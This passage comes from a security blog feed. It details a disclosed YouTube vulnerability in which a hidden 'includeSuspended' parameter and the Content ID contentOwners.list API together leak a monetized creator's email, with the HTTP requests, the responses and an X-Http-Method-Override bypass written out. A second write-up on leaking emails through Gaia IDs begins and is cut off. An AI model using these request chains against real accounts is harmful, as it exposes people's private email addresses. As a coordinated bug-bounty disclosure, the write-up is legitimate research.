<h3 id="a-seemingly-secure-endpoint"><a class="anchor" href="#a-seemingly-secure-endpoint" aria-hidden="true">#</a>A seemingly secure endpoint</h3><p>If you ever looked around at the requests sent by <a href="https://studio.youtube.com" target="_blank" rel="noopener noreferrer">YouTube Studio</a> to load the &quot;Earn&quot; tab, you might have noticed the following request:</p>
<p><img src="/assets/youtube-creator-emails/earn_tab.png" alt="" loading="lazy" /></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/youtubei/v1/creator/get_creator_channels?alt=json</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>studio.youtube.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;

<span class="language-jboss-cli">{
  <span class="hljs-string">&quot;context&quot;</span>: {
    <span class="hljs-string">...</span>
  },
  <span class="hljs-string">&quot;channelIds&quot;</span>: [
    <span class="hljs-string">&quot;UCeGCG8SYUIgFO13NyOe6reQ&quot;</span>
  ],
  <span class="hljs-string">&quot;mask&quot;</span>: {
    <span class="hljs-string">&quot;channelId&quot;</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-string">&quot;monetizationStatus&quot;</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-string">&quot;monetizationDetails&quot;</span>: {
      <span class="hljs-string">&quot;all&quot;</span>: <span class="hljs-literal">true</span>
    },
    <span class="hljs-string">...</span>
  }
}</span></code></pre><p>It&#39;s used for fetching our own channel data that&#39;s displayed on the Earn tab. That being said, it&#39;s actually possible to fetch other channel&#39;s metadata with this, albeit with extremely few masks:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/youtubei/v1/creator/get_creator_channels?alt=json</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>studio.youtube.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;

<span class="language-jboss-cli">{
  <span class="hljs-string">&quot;context&quot;</span>: {
    <span class="hljs-string">...</span>
  },
  <span class="hljs-string">&quot;channelIds&quot;</span>: [
    <span class="hljs-string">&quot;UCdcUmdOxMrhRjKMw-BX19AA&quot;</span>
  ],
  <span class="hljs-string">&quot;mask&quot;</span>: {
    <span class="hljs-string">&quot;channelId&quot;</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-string">&quot;title&quot;</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-string">&quot;thumbnailDetails&quot;</span>: {
      <span class="hljs-string">&quot;all&quot;</span>: <span class="hljs-literal">true</span>
    },
    <span class="hljs-string">&quot;metric&quot;</span>: {
      <span class="hljs-string">&quot;all&quot;</span>: <span class="hljs-literal">true</span>
    },
    <span class="hljs-string">&quot;timeCreatedSeconds&quot;</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-string">&quot;isNameVerified&quot;</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-string">&quot;channelHandle&quot;</span>: <span class="hljs-literal">true</span>
  }
}</span></code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8
<span class="hljs-attribute">Server</span><span class="hljs-punctuation">: </span>scaffolding on HTTPServer2

<span class="language-jboss-cli">{
  <span class="hljs-string">&quot;channels&quot;</span>: [
    {
      <span class="hljs-string">&quot;channelId&quot;</span>: <span class="hljs-string">&quot;UCdcUmdOxMrhRjKMw-BX19AA&quot;</span>,
      <span class="hljs-string">&quot;title&quot;</span>: <span class="hljs-string">&quot;Niko Omilana&quot;</span>,
      <span class="hljs-string">...</span>
      <span class="hljs-string">&quot;metric&quot;</span>: {
        <span class="hljs-string">&quot;subscriberCount&quot;</span>: <span class="hljs-string">&quot;7700000&quot;</span>,
        <span class="hljs-string">&quot;videoCount&quot;</span>: <span class="hljs-string">&quot;142&quot;</span>,
        <span class="hljs-string">&quot;totalVideoViewCount&quot;</span>: <span class="hljs-string">&quot;650836435&quot;</span>
      },
      <span class="hljs-string">&quot;timeCreatedSeconds&quot;</span>: <span class="hljs-string">&quot;1308700645&quot;</span>,
      <span class="hljs-string">&quot;isNameVerified&quot;</span>: <span class="hljs-literal">true</span>,
      <span class="hljs-string">&quot;channelHandle&quot;</span>: <span class="hljs-string">&quot;@Niko&quot;</span>,
    }
  ]
}</span></code></pre><p>The masks seemed quite secure. If we tried requesting any other mask that could be sensitive for a channel we don&#39;t have access to, we&#39;d be hit with a Permission denied error:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">403</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;The caller does not have permission&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;errors&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
      <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;The caller does not have permission&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;domain&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;global&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;reason&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;forbidden&quot;</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;PERMISSION_DENIED&quot;</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><h3 id="leaking-secret-hidden-parameters"><a class="anchor" href="#leaking-secret-hidden-parameters" aria-hidden="true">#</a>Leaking secret hidden parameters</h3><p>As it turns out, if we dump the request payload for this endpoint with <a href="https://github.com/ddd/googleapi_tools" target="_blank" rel="noopener noreferrer">req2proto</a>, we can see there&#39;s actually 2 secret hidden parameters:</p>
<pre><code class="hljs language-proto">syntax = <span class="hljs-string">&quot;proto3&quot;</span>;

<span class="hljs-keyword">package</span> youtube.api.pfiinnertube;

<span class="hljs-keyword">message </span><span class="hljs-title class_">GetCreatorChannelsRequest</span> {
  InnerTubeContext context = <span class="hljs-number">1</span>;
  <span class="hljs-type">string</span> channel_ids = <span class="hljs-number">2</span>;
  CreatorChannelMask mask = <span class="hljs-number">4</span>;
  DelegationContext delegation_context = <span class="hljs-number">5</span>;
  <span class="hljs-type">bool</span> critical_read = <span class="hljs-number">6</span>; <span class="hljs-comment">// ???</span>
  <span class="hljs-type">bool</span> include_suspended = <span class="hljs-number">7</span>; <span class="hljs-comment">// ???</span>
}</code></pre><p>Enabling <code>criticalRead</code> didn&#39;t seem to change anything, but <code>includeSuspended</code> was very interesting:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  ...
  <span class="hljs-attr">&quot;contentOwnerAssociation&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;externalContentOwnerId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Ks_zqCBHrAbeQqsVRGL7gw&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;createTime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;seconds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1693939737&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;nanos&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">472296000</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;permissions&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;canWebClaim&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;canViewRevenue&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isDefaultChannel&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;activateTime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;seconds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1693939737&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;nanos&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">472296000</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  ...
<span class="hljs-punctuation">}</span></code></pre><p>It seemed to leak the channel&#39;s <code>contentOwnerAssociation</code>. But what exactly is that?</p>
<h3 id="a-look-into-content-id"><a class="anchor" href="#a-look-into-content-id" aria-hidden="true">#</a>A look into Content ID</h3><p>In YouTube, there&#39;s certain type of special account known as a <a href="https://support.google.com/youtube/answer/6301172" target="_blank" rel="noopener noreferrer">Content Manager</a> which are given to a select few trusted rightsholders. With these accounts, it&#39;s possible to upload audio/video to Content ID as an asset, copyright claiming any external videos that contain the same audio/video as your asset.</p>
<p><img src="/assets/youtube-creator-emails/content_manager.png" alt="" loading="lazy" /></p>
<p>These accounts are particularly sensitive, as the Content Manager account allows you to monetize any videos found that contain similar audio/video. Hence, these special accounts are only given to rightsholders with <a href="https://transparencyreport.google.com/youtube-copyright/summary" target="_blank" rel="noopener noreferrer">"complex rights management needs"</a>.</p>
<p>YouTube actually provides a watered-down version of this to all 3 million monetized YouTube creators, known as the <a href="https://support.google.com/youtube/answer/7648743" target="_blank" rel="noopener noreferrer">Copyright Match Tool</a>. This tool only allows creators to request the takedown of videos using their content, rather than being able to monetize them. </p>
<p><img src="/assets/youtube-creator-emails/copyright_match_tool.png" alt="" loading="lazy" /></p>
<p>The interesting thing is that, the backend of this tool is the same as a Content Manager. The moment a channel gets monetization, a <code>CONTENT_OWNER_TYPE_IVP</code> content owner account is created:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;contentOwnerId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Ks_zqCBHrAbeQqsVRGL7gw&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;displayName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Nia&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;CONTENT_OWNER_TYPE_IVP&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;industryType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;INDUSTRY_TYPE_WEB&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;primaryContactEmail&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;redacted&gt;@gmail.com&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;timeCreatedSeconds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1693939736&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;traits&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;isLongTail&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isAffiliate&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isManagedTorso&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isPremium&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isUserLevelCidClaimUpdateable&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isTorso&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isFingerprintEnabled&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isBrandconnectAgency&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;isTwoStepVerificationRequirementExempt&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;country&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;FI&quot;</span>
<span class="hljs-punctuation">}</span></code></pre><blockquote>
<p><strong>Fun fact:</strong> &quot;IVP&quot; actually stands for Individual Video Partnership, the old name for the YouTube Partner Program!</p>
</blockquote>
<p>So, we can leak the <code>contentOwnerId</code> of the IVP content owner tied to the channel, but what exactly can we do with this? After doing some research, I found the <a href="https://developers.google.com/youtube/partner/reference/rest" target="_blank" rel="noopener noreferrer">YouTube Content ID API</a>, which is an API intended for rightsholders with a Content Manager account. The <code>contentOwners.list</code> endpoint looked particularly interesting. It took in a Content Owner ID and returned their <a href="https://support.google.com/youtube/answer/2811709?hl=en" target="_blank" rel="noopener noreferrer">"conflict notification email"</a>.</p>
<p>Unfortunately, the API seemed to be validating that I didn&#39;t have a Content Manager account, and just returned forbidden for any request:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;error&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">403</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Forbidden&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;errors&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
      <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Forbidden&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;domain&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;global&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;reason&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;forbidden&quot;</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">]</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>Even though this endpoint is only intended for those with a Content Manager account, I had a suspicion that an IVP Content Owner might still work. </p>
<p>I asked a friend of mine with a monetized YouTube channel to test out this endpoint <a href="https://developers.google.com/youtube/partner/reference/rest/v1/contentOwners/list?apix_params=%7B%22id%22%3A%22kdVwk95TnaCSLJJfyIFoqw%22%7D" target="_blank" rel="noopener noreferrer">in the API explorer</a>, and <strong>it worked.</strong></p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;kind&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;youtubePartner#contentOwnerList&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;items&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;kind&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;youtubePartner#contentOwner&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;kdVwk95TnaCSLJJfyIFoqw&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;displayName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;omilana7&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;conflictNotificationEmail&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;redacted&gt;@yahoo.co.uk&quot;</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span></code></pre><blockquote>
<p>The conflict notification email was the channel&#39;s email at the time the channel got monetized!</p>
</blockquote>
<p>Interestingly enough, for whatever reason, even though it worked in the API explorer, you couldn&#39;t actually add this API to your own Google Cloud project since it only whitelisted users with an actual Content Manager account. That didn&#39;t matter though, we could simply call this API with the API Explorer&#39;s client.</p>
<h3 id="putting-the-attack-together"><a class="anchor" href="#putting-the-attack-together" aria-hidden="true">#</a>Putting the attack together</h3><p>We have both parts we need for the attack, let&#39;s put it together!</p>
<ul>
<li>Fetch <code>/get_creator_channels</code> with <code>includeSuspended: true</code> to leak the victim&#39;s IVP Content Owner ID.</li>
<li>Use the <a href="https://developers.google.com/youtube/partner/reference/rest/v1/contentOwners/list?apix_params=%7B%22id%22%3A%22kdVwk95TnaCSLJJfyIFoqw%22%7D" target="_blank" rel="noopener noreferrer">Content ID API Explorer</a> with a Google account tied to a monetized channel to fetch the conflict notification email of the victim&#39;s IVP Content Owner</li>
<li>Profit!</li>
</ul>
<iframe src="https://www.youtube.com/embed/2daV4tDmyJo" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe><h3 id="timeline"><a class="anchor" href="#timeline" aria-hidden="true">#</a>Timeline</h3><ul>
<li>2024-12-12 - Report sent to vendor</li>
<li>2024-12-16 - Vendor triaged report</li>
<li>2024-12-17 - 🎉 <strong>Nice catch!</strong></li>
<li>2025-01-21 - <strong>Panel awards $13,337.</strong> Rationale: Normal Google Applications. Vulnerability category is &quot;bypass of significant security controls&quot;, PII or other confidential information.</li>
<li>2025-01-21 - Clarified to vendor that this was rewarded under &quot;Normal Google Applications&quot;. However, <a href="https://www.youtube.com" target="_blank" rel="noopener noreferrer">www.youtube.com</a> and <a href="https://studio.youtube.com" target="_blank" rel="noopener noreferrer">studio.youtube.com</a> are Tier 1 domains. See: <a href="https://github.com/google/bughunters/blob/main/domain-tiers/external_domains_google.asciipb" target="_blank" rel="noopener noreferrer">https://github.com/google/bughunters/blob/main/domain-tiers/external_domains_google.asciipb</a></li>
<li>2025-01-23 - <strong>Panel awards an additional $6,663.</strong> Rationale: Domains where a vulnerability could disclose particularly sensitive user data. Vulnerability category is &quot;bypass of significant security controls&quot;, PII or other confidential information.</li>
<li>2025-02-10 - Coordinates disclosure with vendor for <em>2025-03-13</em></li>
<li>2025-02-13 - 🎉 <strong>Google VRP awards swag</strong></li>
<li>2025-02-21 - Vendor confirms issue has been fixed (T+71 days since disclosure)</li>
<li>2025-03-13 - Report disclosed</li>
</ul>
<h3 id="additional-notes"><a class="anchor" href="#additional-notes" aria-hidden="true">#</a>Additional notes</h3><p>It turns out that the <code>includeSuspended</code> parameter could&#39;ve also been found from the InnerTube discovery document.</p>
<p>When you try to fetch the discovery document normally, you get the following error:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/$discovery/rest</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>youtubei.googleapis.com</code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">405</span> Method Not Allowed
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>text/html; charset=UTF-8</code></pre><p>It seems that <code>youtubei.googleapis.com</code> has some <a href="https://github.com/GoogleCloudPlatform/esp-v2" target="_blank" rel="noopener noreferrer">ESPv2</a> rule set to block GET requests for whatever reason.</p>
<p>I quickly found out we can actually bypass this by sending a POST request, and then overriding it to GET with <code>X-Http-Method-Override</code> to get around the block GET rule:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/$discovery/rest</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>youtubei.googleapis.com
<span class="hljs-attribute">X-Http-Method-Override</span><span class="hljs-punctuation">: </span>GET</code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span>
<span class="hljs-attribute">content-type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8

<span class="language-jboss-cli">{
  <span class="hljs-string">&quot;baseUrl&quot;</span>: <span class="hljs-string">&quot;https://youtubei.googleapis.com/&quot;</span>,
  <span class="hljs-string">&quot;title&quot;</span>: <span class="hljs-string">&quot;YouTube Internal API (InnerTube)&quot;</span>,
  <span class="hljs-string">&quot;documentationLink&quot;</span>: <span class="hljs-string">&quot;http://go/itgatewa&quot;</span>,
  <span class="hljs-string">...</span></span></code></pre><p><strong>Update 2025-03-01:</strong> both the prod (<a href="https://archive.org/download/innertube/youtubei.json" target="_blank" rel="noopener noreferrer">archive</a>) and staging (<a href="https://archive.org/download/innertube/green-youtubei.json" target="_blank" rel="noopener noreferrer">archive</a>) discovery documents <a href="https://x.com/brutecat/status/1894282218929037727" target="_blank" rel="noopener noreferrer">have since been removed</a>.</p>
<p>If we Ctrl-F for GetCreatorChannelsRequest, we can find the <code>includeSuspended</code> parameter:</p>
<pre><code class="hljs language-json">  ...
  <span class="hljs-attr">&quot;YoutubeApiInnertubeGetCreatorChannelsRequest&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;YoutubeApiInnertubeGetCreatorChannelsRequest&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;properties&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;channelIds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;items&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;string&quot;</span>
          <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;array&quot;</span>
        <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        ...
        <span class="hljs-attr">&quot;includeSuspended&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;boolean&quot;</span>
        <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        ...
      <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;object&quot;</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  ...</code></pre>]]></content:encoded>
            <author>Arvin Shivram</author>
            <enclosure url="https://brutecat.com/assets/youtube-creator-emails.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Leaking the email of any YouTube user for $10,000]]></title>
            <link>https://brutecat.com/articles/leaking-youtube-emails</link>
            <guid isPermaLink="false">leaking-youtube-emails</guid>
            <pubDate>Wed, 12 Feb 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[What could've been the largest data breach in the world - an attack chain on Google services to leak the email address of any YouTube channel]]></description>
            <content:encoded><![CDATA[<p>Some time ago, I was looking for a research target in Google and was digging through the <a href="https://staging-people-pa.sandbox.googleapis.com/$discovery/rest?key=AIzaSyBOh-LSTdP2ddSgqPk6ceLEKTb8viTIvdw" target="_blank" rel="noopener noreferrer">Internal People API (Staging)</a> discovery document until I noticed something interesting:</p>
<pre><code class="hljs language-json">   <span class="hljs-attr">&quot;BlockedTarget&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;BlockedTarget&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;The target of a user-to-user block, used to specify creation/deletion of blocks.&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;object&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;properties&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;profileId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Required. The obfuscated Gaia ID of the user targeted by the block.&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;string&quot;</span>
        <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;fallbackName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;description&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Required for `BlockPeopleRequest`. A display name for the user being blocked. The viewer may see this in other surfaces later, if the blocked user has no profile name visible to them. Notes: * Required for `BlockPeopleRequest` (may not currently be enforced by validation, but should be provided) * For `UnblockPeopleRequest` this does not need to be set.&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;string&quot;</span>
        <span class="hljs-punctuation">}</span>
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span></code></pre><p>It seemed the Google-wide block user functionality was based on an obfuscated Gaia ID as well as a display name for that blocked user. The obfuscated Gaia ID is just a Google account identifier.</p>
<p>That seemed perfectly fine until I remembered <a href="https://support.google.com/accounts/answer/6388749#zippy=%2Cuse-youtube-to-block-an-account" target="_blank" rel="noopener noreferrer">this support page</a>:</p>
<p><img src="/assets/leaking-youtube-emails/use_youtube_to_block.png" alt="" loading="lazy" /></p>
<p>So, if you block someone on YouTube, you can leak their Google account identifier? I tested it out. I went to a random livestream, blocked a user and sure enough, it showed up in <a href="https://myaccount.google.com/blocklist" target="_blank" rel="noopener noreferrer">https://myaccount.google.com/blocklist</a></p>
<p><img src="/assets/leaking-youtube-emails/blocked_user.png" alt="" loading="lazy" /></p>
<p>The fallback name was set as their channel name <strong>Mega Prime</strong> and the profile ID was their obfuscated Gaia ID <strong>107183641464576740691</strong></p>
<p>This was super strange to me because YouTube should never leak the underlying Google account of a YouTube channel. In the past, there&#39;s been several bugs to <a href="https://sector035.nl/articles/2022-35" target="_blank" rel="noopener noreferrer">resolve these to an email address</a>, so I was confident there was still a way to convert a Gaia ID to an email in some old obscure Google product.</p>
<h3 id="escalating-this-to-4-billion-youtube-channels"><a class="anchor" href="#escalating-this-to-4-billion-youtube-channels" aria-hidden="true">#</a>Escalating this to 4 billion YouTube channels</h3><p>So, we can leak the Gaia ID of any live chat user, but can we escalate this to all channels on YouTube? As it turns out, when you click the 3 dots just to open the context menu, a request is fired:</p>
<p><img src="/assets/leaking-youtube-emails/context_menu.png" alt="" loading="lazy" /></p>
<p><strong>Request</strong></p>
